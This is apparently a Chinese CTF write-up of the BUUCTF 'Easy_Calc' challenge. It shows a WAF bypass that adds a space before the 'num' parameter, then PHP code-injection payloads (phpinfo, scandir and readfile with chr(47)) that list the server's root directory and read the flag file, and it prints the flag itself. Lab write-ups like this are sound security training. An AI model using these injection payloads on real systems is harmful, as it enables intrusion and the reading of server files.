【BUUCTF】Easy_Calc
Easy Calc
拿到一个计算器,看不出端倪,查看源码
有一段注释说这题有WAF,那思路应该就清晰了,绕WAF
JS里面写道有Calc.php文件,可以查看一下
可以看到绕过了很多符号和字母
知识点
假如WAF不允许num变量传递字母,可以在num前加个空格,这样WAF就找不到num这个变量了,因为现在的变量叫 " num"
,而不是 "num"
。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
- **scandir()**:列出指定路径中的文件和目录,返回一个 array,包含有 directory 中的文件和目录。
- **readfile()**:读取文件并写入到输出缓冲。
- **var_dump()**:以数组的形式打印变量的相关信息。
- **chr()**:返回相对应于
ascii
所指定的单个字符。
构造payload
查看php环境:? num=phpinfo()
可以看到是Linux操作环境,查看根目录:? num=var_dump(scandir(chr(47)))
<font color="#999AAA">
由于根 /
被过滤了,所以使用ASCII码 47</font>
可以看到第八个目录是 f1agg
,通过 readfile
函数拿flag? num=var_dump(readfile(chr(47).f1agg))
得到 flag{b5772953-684b-4e8e-bf02-682b208f399f}
- 标题: 【BUUCTF】Easy_Calc
- 作者: Itachi
- 创建于 : 2021-11-03 21:04:54
- 更新于 : 2021-11-04 01:12:06
- 链接: https://blog.tarchi.top/ctf/【BUUCTF】Easy-Calc/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论